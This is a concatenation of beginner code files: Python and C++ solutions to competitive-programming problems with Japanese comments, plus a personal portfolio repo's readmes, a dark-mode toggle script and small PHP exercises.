print(pre_len-len(ans))<file_sep>N = int(input())
T = list(map(int, input().split()))
sum_ = sum(T)
M = int(input())
ans = list()
for i in range(M) :
P, X = map(int,input().split())
gap = T[P-1] - X
ans.append(sum_ - gap)
for i in range(len(ans)):
print(ans[i])
<file_sep>n = int(input())
many = 10**9 + 1
for i in range(n):
a, p, x = map(int, input().split())
a += 0.5
# print(a, x)
if a <= x:
many = min(many, p)
print(-1) if many == 10**9 + 1 else print(many)<file_sep>N = int(input())
if N % 2 != 0:
print((int(N/2)+1)/N)
else:
#偶数
print(int(N/2)/N)
<file_sep>import sys
import math
A,B = map(int,input().split())
# 四捨五入
if A * (100/8) - int(A * (100/8)) >=0.5:
target_8 = math.floor(A * (100/8)) + 1
else:
target_8 = math.floor(A * (100/8))
# 四捨五入
if A * (100/10) - int(A * (100/10)) >=0.5:
target_10 = math.floor(B * (100/10)) + 1
else:
target_10 = math.floor(B * (100/10))
if math.floor(target_8*0.1) == B :
print(target_8)
sys.exit()
elif math.floor(target_10*0.08) == A :
print(target_10)
sys.exit()
else:
print('-1')
sys.exit()<file_sep>#include <stdio.h>
#include <math.h>
#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
vector<pair<long long, long long> > prime_factorize(long long N) {
vector<pair<long long, long long> > res;
for (long long i = 2; i * i <= N; ++i) {
if (N % i != 0) {
continue;
}
long long ex = 0; // 指数
// 割れるだけ割る
while (N % i == 0) {
++ex;
N /= i;
}
// 結果を push
res.push_back({i, ex});
}
// 残った数はそのまま push
if (N != 1) {
res.push_back({N, 1});
} else {
res.push_back({1, 1});
}
return res;
}
int main() {
long long N, target = 1, ans = 1, num = 1000000007;
cin >> N;
vector<long long> ex(N+1, 0); // 指数情報を格納していく
for (int i = 1; i <= N; ++i) {
const auto &res = prime_factorize(i); // 素因数分解
for (auto p : res) {
ex[p.first] += p.second;
}
}
for (long long i = 2; i <= N; ++i) {
ans *= ex[i] + 1 ;
ans %= num;
}
cout << ans << endl;
return 0;
}
<file_sep>// https://atcoder.jp/contests/atc001/tasks/unionfind_a
// B - Union Find
#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int par[100000]; // 親
int rank_tree[100000]; // 木の深さ
// 初期化
void init(int N) {
rep(i, N) {
par[i] = i;
rank_tree[i] = 0;
}
}
// 木の根を求める
int find(int x) {
if (par[x] == x) {
return x;
} else {
return par[x] = find(par[x]);
}
}
// xとyの属する集合を併合
void unite(int x, int y) {
x = find(x);
y = find(y);
if (x == y) return ;
if (rank_tree[x] < rank_tree[y]){
par[x] = y;
} else {
par[y] = x;
if (rank_tree[x] == rank_tree[y]) rank_tree[x]++;
}
}
// xとyが同じ集合に属するかどうか
bool same(int x, int y) {
return find(x) == find(y);
}
int main() {
int N, Q, P, A, B;
cin >> N >> Q;
init(N); //初期化
rep(i, Q) {
cin >> P >> A >> B;
if (P == 0) {
unite(A, B);
} else {
if (same(A, B)) cout << "Yes" << endl;
else cout << "No" << endl;
}
}
return 0;
}
<file_sep>A,B,T = map(int,input().split())
time = A
count = 0
while time <= T+0.5 :
time += A
count += 1
print(B*count)<file_sep>def cul(target):
return int(target[0]) + int(target[1]) + int(target[2])
A, B = input().split()
print(max(cul(A), cul(B)))
<file_sep>#include <bits/stdc++.h>
using namespace std;
int main() {
int N, A, B, i, c = 1;
cin >> N >> A;
vector<int> num(N+10);
vector<string> op(N+10);
for (i = 0; i < N; i++) {
cin >> op.at(i) >> num.at(i);
}
// cout << op.at(0) << num.at(0) << endl;
for (i = 0; i < N; i++) {
if (op.at(i) == "+") {
A += num.at(i);
} else if (op.at(i) == "-") {
A -= num.at(i);
} else if (op.at(i) == "*") {
A *= num.at(i);
} else if (op.at(i) == "/" && num.at(i) != 0) {
A /= num.at(i);
} else if (op.at(i) == "/" && num.at(i) == 0) {
cout << "error" << endl;
return 0;
}
cout << c << ":" << A << endl;
c++;
}
}
<file_sep>
Inp = input()
ans = str()
for i in range(1 , len(Inp)+1):
if i%2 == 1 :
print(Inp[i-1], end="")
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
string tar, K;
cin >> K;
int k = atoi(K.c_str());
if (k % 2 == 0) {
cout << -1 << endl;
return 0;
}
int cnt = K.length();
while(true) {
string target = string(cnt, '7');
if (atoi(target.c_str()) % k == 0) {
cout << cnt << "\n";
return 0;
}
++cnt;
}
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
long long N, ans = 1000000007;
cin >> N;
vector<long long> W(N), W_sum(N+1,0);
rep(i, N){
cin >> W[i];
}
// 累積和の作成
rep(i,N) {
W_sum[i+1] = W_sum[i] + W[i];
}
for(int i = 1; i <= N+1; ++i) {
ans = min(ans, abs((W_sum[N] - W_sum[i]) - W_sum[i]));
}
cout << ans << endl;
return 0;
}
<file_sep>N = int(input())
s = list()
for i in range(N):
s.append(list(input()))
s_90 = list()
# # 90度時計回りに回転した時の配列を求める
# for i in range(len(s[0])):
# row = list()
# for j in range(N-1,-1,-1):
# row.append(s[j][i])
# s_90.append(row)
import numpy as np
s_90 = np.rot90(s,k=-1)
for i in range(len(s_90)):
print(''.join(s_90[i]))
<file_sep>import string
S = list(input())
low_list = list(string.ascii_lowercase)
for i in range(len(S)):
try:
low_list.remove(S[i])
except ValueError:
pass
if len(low_list) == 0:
print('None')
else:
print(low_list[0])
<file_sep>s = str(input())
t = str(input())
DP = list()
for i in range(len(s) + 1):
horizon = list()
for j in range(len(t) + 1):
horizon.append("")
DP.append(horizon)
for i in range(1, len(s) + 1):
for j in range(1, len(t) + 1):
if s[i - 1] == t[j - 1]:
DP[i][j] = max(DP[i][j], DP[i - 1][j] + s[i - 1])
else:
DP[i][j] = max(DP[i - 1][j], DP[i][j - 1])
print(DP[len(s)][len(t)])
<file_sep># https://atcoder.jp/contests/arc061/tasks/arc061_a
S = list(input())
l = len(S)
ans = 0
for bit in range(1 << (l-1)):
# print(bit)
f = S[0]
for i in range(l-1):
if bit & (1 << i):
f += "+"
f += S[i+1]
ans += sum(map(int, f.split("+")))
print(ans)
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
string S, T;
cin >> S;
cin >> T;
int count = 0;
rep(i, S.size()) {
if (S[i] != T[i]) {
++count;
}
}
cout << count << endl;
return 0;
}
<file_sep>print("Won") if len(set(list(str(input())))) == 1 else print("Lost")<file_sep>A,B,C = map(int,input().split())
remnant = C - (A-B)
if remnant >= 0:
print(remnant)
else:
print(0)<file_sep>N = int(input())
S = list(input())
count = 0
for i in range(N):
try:
if S[i] == 'A' and S[i+1] == 'B' and S[i+2] == 'C':
count += 1
except IndexError:
pass
print(count)<file_sep>A,B,K = map(int,input().split())
if A <= K :
K -= A
A = 0
B = B - K
if B <= 0:
B = 0
print(A,' ',B)
else:
A -= K
print(A,' ',B)<file_sep>N = int(input())
T,A = map(int,input().split())
H = list(map(int,input().split()))
abs_dict = dict()
abs_list = list()
for i in range(N):
temp_abs = abs(A-(T-H[i]*0.006))
abs_dict[temp_abs] = i
abs_list.append(temp_abs)
print(abs_dict[min(abs_list)]+1)<file_sep>'''
インプットSをLIST→SETに変換して、
その長さが2の時、YES.
それ以外はNo.
'''
Inp = list(input())
Inp.sort()
if len(set(Inp)) == 2: print('Yes')
else: print('No')
'''
これでWAとなるのは、後々検証
if Inp[0] == Inp[1] and Inp[2] == Inp[3]:
print('Yes')
else:
print('No')
'''<file_sep>N = int(input())
d = list(map(int,input().split()))
ans = 0
for i in range(len(d)):
for j in range(i+1,len(d)):
ans += d[i]*d[j]
print(ans)<file_sep>N = list(map(int,input()))
count = 0
for i in range(len(N)):
if N[i] <= 5:
count += N[i]
else:
count += 1 + (10-N[i])
print(count)
<file_sep>'''
TLE でAC できなかった
'''
import itertools
L , R = map(int,input().split())
num_list = list(range(L,R+1))
mod = list()
for j in itertools.combinations_with_replacement(num_list,2):
mod.append((j[0]*j[1])%2019)
print(min(mod))<file_sep>#このままだと桁計算が全然できていない
#5000兆回掛け算を行うと計算時間に収まらない
S = list(map(int,input()))
K = map(int,input())
S_cul = dict()
digit_list = list()
# day = 5000000000000000
day = 5000
for i in range(len(S)):
for j in range(day):
cul_digit = S[i]*S[i]
cul_digit = cul_digit * 1000000000000
print(S[i],':',cul_digit)
# for i in range(len(S)):
# cul_digit = S[i]*day
# if i-1 != -1:
# digit_list.append(cul_digit + digit_list[i-1])
# else:
# digit_list.append(cul_digit)
# print(digit_list) <file_sep>N = int(input())
target = dict()
max_count = 0
max_key = list()
for i in range(N):
S = str(input())
if S in target:
count = target[S] +1
target[S] = count
else:
target[S] = 1
count = 1
if max_count < count:
max_count = count
max_key = [S]
elif max_count == count:
max_key.append(S)
max_key.sort()
for i in max_key:
print(i)<file_sep>A,B = map(int,input().split())
if A >= 13:
print(B)
elif 12 >= A and A >= 6:
print(int(B/2))
else:
print(0)<file_sep>import numpy as np
N,M = map(int,input().split())
homeworks = np.asarray(list(map(int,input().split())))
homeworks = np.sum(homeworks)
print(N-homeworks) if N >= homeworks else print('-1')
<file_sep>N,M,C = map(int,input().split())
B = list(map(int,input().split()))
A = list()
for i in range(N):
a = list(map(int,input().split()))
A.append(a)
count = 0
for i in range(N):
ans = 0
for j in range(M):
ans += A[i][j]*B[j]
if ans + C > 0:
count += 1
print(count)<file_sep># コスパの良い魔法で攻撃しつつける
# 最後だけ、最小の攻撃力で倒せる攻撃にする
max_cospa = 0
max_a = 0
max_b = 0
H,N = map(int,input().split())
magic_dict = dict()
# コスパの良い魔法を計算する
for i in range(N):
A,B = map(int,input().split())
if A not in magic_dict:
magic_dict[A] = [B]
else:
dict_key = magic_dict[A]
dict_key.append(int(B))
dict_key.sort() # 昇順にソート
magic_dict[A] = dict_key
cospa = A/B
if cospa >= max_cospa :
max_cospa = cospa
max_a = A
max_b = B
# print(max_a,max_b)
amari_hp = H%max_a
# print('amari:',amari_hp)
# keyでソートする
magic_list = sorted(magic_dict.items(),key=lambda x:x[0])
# print(magic_list)
for i in range(len(magic_list)):
if magic_list[i][0] > amari_hp:
last_attack = magic_list[i][1][0]
break
print(int(H/max_a)*max_b) if H%max_a == 0 else print((int(H/max_a)*max_b)+last_attack)
<file_sep>S = list(input())
count = 0
for i in range(len(S)):
if S[i] == 'o':
count += 100
print(700+count)<file_sep>// https://cses.fi/problemset/task/1068/
// コラッツ予想(Collatz conjecture)
#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
ll n;
cin >> n;
cout << n << " ";
while(n != 1) {
if (n % 2 == 0) {
n = n / 2;
} else {
n = n * 3 +1;
}
cout << n << " ";
}
cout << "\n";
return 0;
}
<file_sep>N = int(input())
N_list = list(str(N))
S_n = 0
for i in range(len(N_list)):
S_n += int(N_list[i])
if N % S_n == 0:
print('Yes')
else:
print('No')<file_sep>class Solution:
def combine(self, n: int, k: int):
ans = list()
target = list()
for i in range(1, k + 1):
com = list(range(i, n - k + i))
target.append(com)
print(target)
return ans
# n, k = map(int, input().split())
n = int(input())
k = int(input())
do = Solution()
print(do.combine(n, k))
<file_sep>#include <bits/stdc++.h>
using namespace std;
int main() {
int N, four, seven;
cin >> N;
if (N % 4 == 0 || N % 7 == 0) {
cout << "Yes" << endl;
return 0;
} else if (N < 4 || N < 7) {
cout << "No" << endl;
return 0;
} else {
if (7 < N) {
seven = N / 7;
for(int i = 1; i <= seven; i++) {
if ((N - 7*i) % 4 == 0) {
cout << "Yes" << endl;
return 0;
}
}
}
if (4 < N) {
four = N / 4;
for(int i = 1; i <= four; i++) {
if ((N - 4*i) % 4 == 0) {
cout << "Yes" << endl;
return 0;
}
}
}
}
cout << "No" << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int N;
cin >> N;
vector<long long> A(N);
long long ans,line, line_half;
ans = 1;
line = 1000000000000000000;
line_half = 1000000000;
// 入力
rep(i,N) {
cin >> A.at(i);
}
// 0処理
rep(i,N) {
if (A.at(i) == 0) {
cout << "0" << endl;
exit(0);
}
}
// 答えを求める
rep(i,N) {
// cout << ans << " : " << A.at(i) << endl;
if (ans >= line_half && A.at(i) >= line_half) {
cout << "-1" << endl;
exit(0);
} else {
ans *= A.at(i);
}
if (ans > line) {
cout << "-1" << endl;
exit(0);
}
}
cout << ans << endl;
}
<file_sep>import sys
N = int(input())
v = list(map(int,input().split()))
max_num = max(v)
v.remove(max(v))
if N >2:
x = min(v)
v.remove(min(v))
y = min(v)
v.remove(min(v))
value = (x+y)/2
# print(x,':',y,'→',value)
while len(v) != 0:
target = value
value = (value+min(v))/2
# print(target,':',min(v),'→',value)
v.remove(min(v))
print((value+max_num)/2)
sys.exit()
else:
print((max_num+v[0])/2)
sys.exit()
<file_sep>'''
(1)入力されたリストを半分にする
(2)後半のリストを反転して、前半リストとの一致を判定する
'''
def judge(num):
num_list_pre =list()
num_list_late =list()
num_list = list(str(num))
num_list_pre.extend(num_list[:int(len(num_list)/2):])
num_list_late.extend(num_list[int(len(num_list)/2)+1:])
# print('reverse:',list(reversed(num_list_late)))
if num_list_pre == list(reversed(num_list_late)):
return True
else:
return False
A,B = map(int,input().split())
count =0
for i in range(A,B+1):
if judge(i):
count +=1
print(count)<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
int N;
cin >> N;
vector<int> A(N, 1), B(N, 1);
rep(i, N){
cin >> A[i];
}
rep(i, N){
cin >> B[i];
}
ll ans=0;
rep(i, N) {
ans += A[i] * B[i];
}
if (ans == 0) {
cout << "Yes" << endl;
} else {
cout << "No" << endl;
}
return 0;
}
<file_sep>S = list(map(str,input()))
S_pre = S[:int(len(S)/2)]
if len(S) % 2 == 0 : # 偶数
S_aft = S[int(len(S)/2):]
else: # 奇数
S_aft = S[int(len(S)/2)+1:]
S_aft.reverse() # 逆順
count = 0
for i in range(len(S_pre)):
if S_pre[i] != S_aft[i]:
count += 1
print(count)<file_sep>a = int(input())
s = str(input())
if a >= 3200:
print(s)
else:
print('red')<file_sep>H_1 = int(input())
H_2 = int(input())
print(H_1-H_2)<file_sep>import numpy as np
N = int(input())
A = np.asarray(list(map(int,input().split())))
A_sort = np.sort(A)
# print(A_sort)
k = 0
for i in range(1,N+1):
count = 0
for j in range(k,N-1):
if A_sort[j] == i:
count += 1
else:
break
print(count)
k += count
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
long target, i;
cin >> target;
for(int i = 2; i * i <= target; i++) {
if (target % i == 0) {
cout << "NO" << endl;
return 0;
}
}
cout << "YES" << endl;
return 0;
}
<file_sep>N = int(input())
D,X = map(int,input().split())
A = list()
for i in range(N):
A.append(int(input()))
chocolate = list()
for i in range(N):
# print(i+1,'人目')
choco_count = 0
for j in range(1,D+1):
day_count = 1 + A[i]*(j-1)
if day_count <= D:
choco_count += 1
else:
break
# print('choco_count:',choco_count)
chocolate.append(choco_count)
print(sum(chocolate)+X)<file_sep>'''
i : 1 2 3 4 5 6 7 8 9 10
のとき、P_iを
P_i: 2 3 4 5 6 7 8 9 10 1
iが1~ N-1までは等差数列の和の公式で
求められる
最後の項目は0である
'''
N = int(input())
target = int(((N-1)*(2+N-2))/2)
target += N % 1
print(target)
# N_list.reverse()
# N_list.pop(-1)
# print(N_list)<file_sep>H,A = map(int,input().split())
print(int(H/A)) if H%A == 0 else print(int(H/A)+1)<file_sep>import copy
N = int(input())
A1 = list(map(int,input().split()))
A2 = list(map(int,input().split()))
max_candies = 0
for i in range(len(A1)):
candies = 0
A1_c = copy.deepcopy(A1)
A2_c = copy.deepcopy(A2)
del A1_c[i+1:]
del A2_c[:i]
candies = sum(A1_c)+sum(A2_c)
max_candies = max(max_candies,candies)
print(max_candies)<file_sep>import sys
S = list(input())
#奇数
odd_list = ['R','U','D']
#偶数
even_list = ['L','U','D']
for i in range(len(S)):
#偶数
if (i+1) % 2 == 0:
if S[i] not in even_list:
print('No')
sys.exit()
#奇数
else:
if S[i] not in odd_list:
print('No')
sys.exit()
print('Yes')<file_sep>/*
http://poj.org/problem?id=2431
牛のグループはガソリンがリークしたトラックで走る必要がある。
ゴールの街までN箇所の給油所があり、そこではガソリンを補充することができる
街までLの距離が離れてて、現在のガソリンの量はP残っている状態
*/
#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
int N, inp_1, inp_2, L, P;
cin >> N;
vector<pair<int, int>> gas;
rep(i, N) {
cin >> inp_1 >> inp_2;
gas.push_back(make_pair(inp_1, inp_2));
}
cin >> L >> P;
// 2次元配列gasのinp_1を基準に昇順ソートしたいけど、方法がわからない
// sort(gas.begin(), gas.end(),)
int stop=0; // ストップ回数
for(int i = N; i >= 1; i--) {
if ( L - gas[i - 2].first >= P) {
++stop;
P = P - (L - gas[i - 1].first) + gas[i - 1].second; // P - 走った距離 + 入れたガソリン
L = gas[i - 1].first;
// cout << "stop! 残り距離: " << L << ", ガス残り: " << P << endl;
}
if (P >= L) {
break;
}
}
cout << stop << endl;
return 0;
}
<file_sep># https://atcoder.jp/contests/dp/tasks/dp_b
import numpy as np
N,K = map(int, input().split())
h = np.array(list(map(int, input().split())))
dp = np.full(N,10**10)
dp[0] = 0
for i in range(1,N):
start = max(0,i-K)
dp[i] = min(dp[start:i]+np.abs(h[i]-h[start:i]))
# for j in range(max(0,i-K),i):
# # print(h[j],':',h[i])
# dp[i] = np.fmin(dp[i], dp[j]+ np.abs(h[j]-h[i]))
# print(dp)
print(int(dp[-1]))
<file_sep>a,b = map(int,input().split())
print('Even') if (a*b) % 2 == 0 else print('Odd')<file_sep>import numpy as np
N, W = map(int, input().split())
dp = np.zeros(W + 1, dtype=int)
for i in range(N):
w, v = map(int, input().split())
dp[w:] = np.maximum(dp[w:], dp[:-w] + v)
print(dp[-1])
<file_sep>import sys
N = list(map(int, input()))
N_sur = list()
for i in N:
N_sur.append(i % 3) # 余剰のリスト
if sum(N) % 3 == 0:
print(0)
sys.exit()
elif sum(N) % 3 == 1:
if len(N) > 1 and 1 in N_sur:
print(1)
sys.exit()
elif len(N) > 2 and N_sur.count(2) >= 2:
print(2)
sys.exit()
else:
print(-1)
sys.exit()
elif sum(N) % 3 == 2:
if len(N) > 1 and 2 in N_sur:
print(1)
sys.exit()
elif len(N) > 2 and N_sur.count(1) >= 2:
print(2)
sys.exit()
else:
print(-1)
sys.exit()
<file_sep>import sys
N , M = map(int,sys.stdin.readline().split())
A = list(map(int,sys.stdin.readline().split()))
A.sort(reverse=True)
for _ in range(M):
A[0] = int(A[0] / 2)
A.sort(reverse=True)
print(sum(A))<file_sep>num = list(map(int,input().split()))
K = int(input())
for i in range(K):
num.sort(reverse=True)
num[0] *= 2
print(sum(num))<file_sep>import sys
import copy
#任意の数の倍数リストを作成する
def make_multiple(N,target):
multiple_list = list()
for i in range(1,N+1): #この書き方って0も入るじゃない??
if i % target == 0:
multiple_list.append(i)
break
return multiple_list
N = int(input())
a = list(map(int,input().split()))
#全て0の時はそのまま0を表示して終了
a_c = copy.deepcopy(a)
a_s =set(a_c)
a_c = list(a_s)
if len(a_c) == 1 and a_c[0] == 0:
print(0)
sys.exit()
a.insert(0,0) #便宜上一番最初に0をinsert、最後にpopする
for i in range(len(a)):
target_list = list()
if a[i] != 0:
# print('a[',i,']:',a[i])
target_list =make_multiple(N,a[i])
# if len(target_list)
# print(target_list,':',len(target_list))
# print(len(target_list),'%',2,'=',len(target_list)%2)
print(1)
print(target_list[0])<file_sep>a,b = map(int,input().split())
print(str(min(a,b))*max(a,b))
<file_sep>#問題の通りにアルゴリズムを組めば解ける
#ループが偶数回の時にAを計算して、奇数回の時にBを計算する
A, B, K= map(int, input().split())
for i in range(int(K)):
if i % 2 == 0:
if A % 2 != 0 : A += -1
B += A/2
A -= A/2
else:
if B % 2 != 0 : B+= -1
A += B/2
B -= B/2
print(int(A) , int(B))<file_sep>N = int(input())
A = list(input())
B = list(input())
C = list(input())
count = 0
for i in range(N):
if A[i] == B[i] and A[i] == C[i]:
continue
elif A[i] == B[i] or A[i] == C[i] or B[i] == C[i]:
count +=1
else:
count +=2
print(count)<file_sep>S = list(input())
ans = list()
for i in range(len(S)):
ans.append('x')
print(''.join(ans))<file_sep>A = list(map(int,input().split()))
print('bust') if sum(A)>=22 else print('win')
<file_sep>Inp = input()
Inp_list = list(Inp)
F_x = 0
for i in Inp_list: F_x += int(i)
if int(Inp) % F_x == 0: print('Yes')
else: print('No') <file_sep>N = int(input())
ANS = set()
i = 2
while i * i <= N:
if (N % i == 0):
ANS.add(i)
ANS.add(int(N / i))
i += 1
ANS.add(N) # N自身も約数なので追加
print(ANS)
<file_sep>'''
- 累積和
期待値
E[X] = sum(1:N)/N
'''
N,K = map(int,input().split())
p = list(map(int,input().split()))
# 期待値の累積和リストを生成
ex_list = list()
for i in range(len(p)):
if i != 0:
ex_list.append(((1+p[i])/2)+ex_list[-1])
else:
ex_list.append((1+p[i])/2)
ans = ex_list[K-1]
for i in range(N-K):
# print(i,ex_list[i],ex_list[i+K])
ex = abs(ex_list[i] - ex_list[i+K])
if ans < ex:
ans = ex
print(ans)<file_sep>// Subsequence POL No.3061
// 蟻本 P.135
#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int n, S;
cin >> n;
cin >> S;
vector<int> a(n);
rep(i, n) {
cin >> a.at(i);
}
int ans = n + 1; // 上界
int right = 0;
long long sum = 0;
for (int left = 0; left < n; ++left) {
while (left < n && sum < S) {
sum += a[left];
++left;
}
if (sum < S) break;
ans = min(ans, right - left);
// for文でleftがインクリメントされる準備
if (right == left) {
// right == leftの場合、そのまま区間が右にずれるので、
// rightもインクリメントする
++right;
} else {
// left のみがインクリメントする場合は、
// インクリメントで外れてしまうleftの区間の値を引く
sum -= a[left];
}
}
if (ans < n+1) {
cout << ans << endl;
} else {
cout << 0 << endl;
}
return 0;
}
<file_sep>N = int(input())
S = list(input())
x = 0
x_list = [0]
for i in range(N):
if S[i] == 'I':
x+=1
else:
x-=1
x_list.append(x)
print(max(x_list))<file_sep>N = int(input())
L = list(map(int,input().split()))
L_max = max(L)
L.remove(L_max)
print('Yes') if L_max < sum(L) else print('No')
|
fd74a044c0037796455ba4bd4fd44f11c3323599
|
[
"Markdown",
"C++",
"Python"
] | 398 |
Markdown
|
tegetege/tegetege_AtCoder
|
ba6c6472082e8255202f4f22a60953d0afe21591
|
5ac87e0a7a9acdd50d06227283aa7d95eebe2e2f
|
refs/heads/master
|
<repo_name>suvonkar/FirstRallyApp<file_sep>/App.js
Ext.define('CustomApp', {
extend : 'Rally.app.App',
componentCls : 'app',
launch : function() {
this._createKanbanStateDropDown();
},
_createKanbanStateDropDown : function() {
this.myKanbanStateDropdown = Ext.create(
'Rally.ui.combobox.FieldValueComboBox', {
model : 'UserStory',
field : 'c_KanbanState',
fieldLabel : 'Kanban State: ',
listeners : {
ready : function(fieldValueComboBox) {
this._loadData();
},
select : function(combo) {
this._loadData();
},
scope : this
}
});
this.add(this.myKanbanStateDropdown);
},
_loadData : function() {
var selectedKanbanState = this.myKanbanStateDropdown.getRecord().get(
'value');
console.log('selectedKanbanState ' + selectedKanbanState);
var filter = [ {
property : 'c_KanbanState',
operator : '=',
value : selectedKanbanState
} ];
if (this.myStore) {
this.myStore.setFilter(filter);
this.myStore.load();
} else {
this.myStore = Ext.create("Rally.data.wsapi.Store", {
model : 'User Story',
autoLoad : true,
listeners : {
load : function(myStore, myData, success) {
console.log("my data is ", myData);
if (!this.myGrid) {
this._createDataGrid(this.myStore);
}
},
scope : this
},
fetch : [ 'FormattedID', 'Name', 'Parent', 'Owner',
'InProgressDate', 'ScheduleState', 'Project',
'c_KanbanState' ],
context : {
project : Rally.environment.getContext().getProject()
},
filters : filter
});
}
},
_createDataGrid : function(myDataStore) {
this.myGrid = Ext.create('Rally.ui.grid.Grid', {
store : myDataStore,
columnCfgs : [ {
text : 'Formated ID',
dataIndex : 'FormattedID'
}, {
text : 'Name',
dataIndex : 'Name'
}, {
text : 'Parent Feature',
dataIndex : 'Parent'
}, {
text : 'Owner',
dataIndex : 'Owner'
}, {
text : 'In Progress Date',
dataIndex : 'InProgressDate'
}, {
text : 'Delay in Acceptance',
dataIndex : 'InProgressDate',
renderer : function(value) {
if (value !== null) {
var today = new Date();
var one_day = 1000 * 60 * 60 * 24;
var date1_ms = value.getTime();
var today_ms = today.getTime();
var difference_ms = today_ms - date1_ms;
return Math.round(difference_ms / one_day);
} else {
return 0;
}
}
} ]
});
this.add(this.myGrid);
}
});
|
cc09e4e94f53bf0d8c6af9f370afbc567fcba826
|
[
"JavaScript"
] | 1 |
JavaScript
|
suvonkar/FirstRallyApp
|
c87238f487cb92d074351375137f1b1ef8a24af1
|
87d2404fd946751ebb727d9bdd787df2a24dc52c
|
refs/heads/master
|
<repo_name>iuridias/iuridias.github.io<file_sep>/readme.md
## iuridias.github.io
Rep em construção.
Utilizarei para incluir minha landing page e alguns projetos.
Em breve
<file_sep>/projetos/elden-ring/readme.md
# eldenring-iniciante
## <NAME> - meu primeiro desafio no HTML e CSS.
Esse projeto foi criado quando estava para fechar os 3 primeiros cursos de HTML5 e CSS3 na Alura com o excelente professor <NAME>.
Antes de iniciar o primeiro cursonem imaginava o quanto era possível aprender tão rápido, e então completei meu primeiro desafio pessoal.
Para treinar esse conhecimento adquirido, resolvi me basear em uma página da web e tentar ao máximo replicar utilizando apenas HTML e CSS. Para deixar mais interessante ainda, fui atrás da página de um jogo que esperava demais, o Elden Ring, que tem o lançamento pro final de fevereiro.
Coloquei praticamente tudo que aprendi em prática e fui atrás de alguns detalhes novos.
Acredito que o código ainda está bem longe do ideal, com certeza a semântica não está tão boa também, mas fiquei bem realizado pelo resultado final. Ainda pretendo melhorar o código aos poucos, tal como finalizar a parte do formulário, que preferi não completar por enquanto.
Ah, e o site não está responsivo pois quando o fiz não tinha passado pelo conteúdo.
<file_sep>/js/index.js
//Constantes para Menu e Switch de Modo (Dark e Light)
const botaoMenu = document.querySelector('.cabecalho__menu');
const botaoMode = document.querySelector('.cabecalho__mode');
const menu = document.querySelector('.menu-lateral');
//Const para salvar estado do modo dark
const storageMode = localStorage.getItem('statusDarkMode');
//Meta Tag - para alterar cor da barra superior do android
const metaThemeColor = document.querySelector('meta[name=theme-color]');
//Constante para desaparecer o Menu ao clicar
const menuLinks = document.querySelectorAll('.menu-lateral__link');
//Verifica o Storage para determinar o dark-mode
if (storageMode) {
document.documentElement.classList.add('dark-mode');
metaThemeColor.setAttribute('content', '#141414');
}
botaoMenu.addEventListener('click', () => {
menu.classList.toggle('menu-lateral--ativo');
});
botaoMode.addEventListener('click', () => {
let color = '#F7F7F7'
document.documentElement.classList.toggle('dark-mode');
//Se o dark-mode tiver ativo, salva seu estado no storage, senão remove o status
if (document.documentElement.classList.contains('dark-mode')) {
localStorage.setItem('statusDarkMode', true);
color = '#141414';
} else {
localStorage.removeItem('statusDarkMode');
}
metaThemeColor.setAttribute('content', color);
});
for (let i = 0; i < menuLinks.length; i++) {
menuLinks[i].addEventListener('click', () => {
menu.classList.toggle('menu-lateral--ativo');
})
}<file_sep>/projetos/flex-e-grid/README.md
# projeto-flex-grid
Nesse curso aprendi muito sobre posições com Flex e Grid. Excelente curso e excelente projeto.
Conteúdo com projeto final do seguinte curso da Alura:
- CSS: dispondo elementos com Flexbox e Grid
|
80b67a0b7483b2cd126dce867f9d72c5902ff385
|
[
"Markdown",
"JavaScript"
] | 4 |
Markdown
|
iuridias/iuridias.github.io
|
c2bda5f87f322dda6c5fa27e14f93d416759653d
|
adc05e10664a206c37debf3b9c144b2b47d40ed3
|
refs/heads/main
|
<repo_name>deepika-1999/Assignment-4<file_sep>/A04.php
<!DOCTYPE html>
<html>
<body>
<?php
$n=371;
$sum=0;
$i=$n;
while($i!=0)
{
$x=$i%10;
$sum=$sum+$x*$x*$x;
$i=$i/10;
if($n==$sum)
{
echo "$n is an Armstrong Number.";
}
else
{
echo "$n not an Armstrong Number.";
}
?>
</body>
</html><file_sep>/A06.php
<!DOCTYPE html>
<html>
<body>
<?php
$n = 0;
$a = 0;
$b = 2;
echo "Fibonacci series with the first 2 numbers as 0 and 2 is: ";
echo "$a, $b";
while ($n < 26 )
{
$c = $b + $a;
echo ", ";
echo "$c";
$a = $b;
$b = $c;
$n = $n + 1;
}
?>
</body>
</html><file_sep>/A03.php
<html>
<body>
<?php
//function: isPalindrome
//description
function isPalindrome($number){
//assign number to temp variable
$temp = $number;
//variable 'sum' to store reverse number
$sum = 0;
//loop that will extract digits from the last
//to make reverse number
while(floor($temp)){
$digit = $temp % 10;
$sum = $sum*10 + $digit;
$temp = $temp/10;
}
//if number is equal to its reverse number
//then it will be a palindrome number
if($sum == $number)
return 1;
else
return 0;
}
//Main code to test above function
$num = 12321;
if(isPalindrome($num))
echo($num . " is a palindrome number");
else
echo($num . " is not a palindrome number");
?>
</body>
</html><file_sep>/A01.php
<html>
<body>
<p>Number generated randomly is <?php
$rand = rand(1, 10);
echo $rand;
?>.And its square root is
<?php
echo sqrt($rand);
?>.</p>
</body>
</html>
|
71238ff1b3e84847c745b702855d72b4e6efd723
|
[
"PHP"
] | 4 |
PHP
|
deepika-1999/Assignment-4
|
